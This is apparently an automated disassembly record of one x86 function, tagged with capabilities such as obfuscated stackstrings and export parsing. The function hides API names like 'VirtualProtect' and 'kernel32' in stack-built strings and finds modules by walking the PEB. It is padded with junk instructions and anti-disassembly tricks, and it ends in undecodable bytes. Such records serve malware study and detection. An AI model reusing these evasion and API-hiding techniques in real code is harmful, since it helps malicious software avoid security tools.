Function at 0x41494e
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and ebx, 0xd8cd
and ebx, 0x102d1
pop ebx
push edx
and edx, 0x162ac
or edx, 0x9457
pop edx
cmp dword [ebp - 0x3e8], 0
je 0x41448e
cmp dword [ebp - 0xab8], 0
jne 0x4144d4
push ebx
add ebx, 0xaa13
sub ebx, 0x101e3
xor ebx, 0xcc3d
or ebx, 0x2c7
pop ebx
push ecx
push edi
add esp, 4
add ecx, 0x597e
or ecx, 0x11bb3
xor ecx, 0x11a18
pop ecx
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1990], edx
push 0
call dword [ebp - 0x1990]
mov dword [ebp - 0x20a8], 0xa
push ecx
sub ecx, 0xe2aa
xor ecx, 0x108f5
add ecx, 0x8e90
xor ecx, 0x86bc
pop ecx
push edx
push ecx
add esp, 4
or edx, 0xad52
pop edx
push edi
push edx
add esp, 4
sub edi, 0x6746
pop edi
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push edi
or edi, 0x156d4
add dword [eax], eax
jmp 0x41454a
add edi, 0x131ea
pop edi
push edx
xor edx, 0xe142
or edx, 0x2c4c
or edx, 0x1006
pop edx
push edx
and edx, 0xb6c4
pop edx
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push eax
push edi
add esp, 4
or eax, 0xc0b2
or eax, 0xeffa
xor eax, 0x4df3
pop eax
push ecx
xor ecx, 0x1558a
add ecx, 0x90c9
xor ecx, 0x42b3
sub ecx, 0x12dd8
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push ebx
push edx
add esp, 4
call 0x414641
add byte [ebx], bh
dec esp
cmp al, 0x39
dec ebx
inc esp
aaa
add esp, 4
jmp 0x41464d
pop ebx
push edi
jmp 0x414655
jmp 0x41465a
xor edi, 0xf7ff
pop edi
cmp dword [ebp - 0x1614], 0
jne 0x414679
mov dword [ebp - 0x2fc], 0
jmp 0x414920
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push eax
push esi
add esp, 4
add eax, 0x9374
jmp 0x41469e
add eax, 0x34f5
pop eax
push edi
push eax
add esp, 4
or edi, 0xad62
pop edi
push ebx
push esi
add esp, 4
xor ebx, 0xdec1
pop ebx
cmp dword [ebp - 0xcc4], 0
jne 0x4146d5
mov dword [ebp - 0x2fc], 0
jmp 0x414920
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push edx
push ebx
add esp, 4
call 0x4146f4
add byte [0x4e403840], bh
inc esi
dec eax
xor eax, dword [ebx + 0x525a04c4]
push ebx
add esp, 4
xor edx, 0x11ed3
call 0x41470f
add byte [ecx + 0x39], al
inc edx
inc eax
inc ecx
cmp al, 0x83
les eax, [edx + ebx*2]
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
sub ebx, 0x40cf
sub ebx, 0x13104
or ebx, 0x15c5a
pop ebx
push ecx
push esi
add esp, 4
and ecx, 0xe7e9
or ecx, 0x111e9
jmp 0x414768
sub ecx, 0x41c
pop ecx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push edi
add edi, 0x4d9c
xor edi, 0x7595
pop edi
push ecx
xor ecx, 0x142d0
sub ecx, 0x1db9
pop ecx
push edi
sub edi, 0x91e
pop edi
push esi
and esi, 0x15754
xor esi, 0xa5c1
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x414815
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x41486f
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x41473d
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x41473d
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x414859
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x414863
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x4148b8
push ebx
push esi
add esp, 4
xor ebx, 0xf9cb
jmp 0x41488a
jmp 0x41488f
pop ebx
push ecx
call fcn.004148a0
add byte [edx + 0x41], al
xor al, byte [edi + 0x4f]
inc eax
inc esp
xor al, byte ds:[ebx - 0x367efb3c]
add esp, 4
or ecx, 0x10bbc
pop ecx
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x414920
push edi
push eax
add esp, 4
sub edi, 0x144c8
jmp 0x4148cc
and edi, 0x2740
pop edi
push ebx
call 0x4148e0
add byte [ebx + ecx*2], dh
cmp dword [edx + ecx*2], edi
dec ebx
add esp, 4
sub ebx, 0x154c5
pop ebx
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x414916
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x4146e1
mov dword [ebp - 0x2fc], 0
push edx
call 0x414930
add byte [esp + ecx*2], dh
dec edi
cmp eax, dword [ebx + 0x32]
cmp byte [ecx + eax*2 - 0x7d], al
les eax, [ecx + eax*4]
loop 0x41493b
pop eax
add dword [eax], eax
xor edx, 0xe206
call 0x41494e
push es
loop 0x41493e
add al, ch
or al, byte [eax]
add byte [eax], al
add byte [ebp + 0x45], cl
xor ecx, dword [eax + 0x41]
inc ebx
inc ebp
xor eax, 0x4c48350
add al, 0x5a
cmp dword [ebp - 0x2fc], 0
jne 0x415257
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
invalid
invalid
invalid
invalid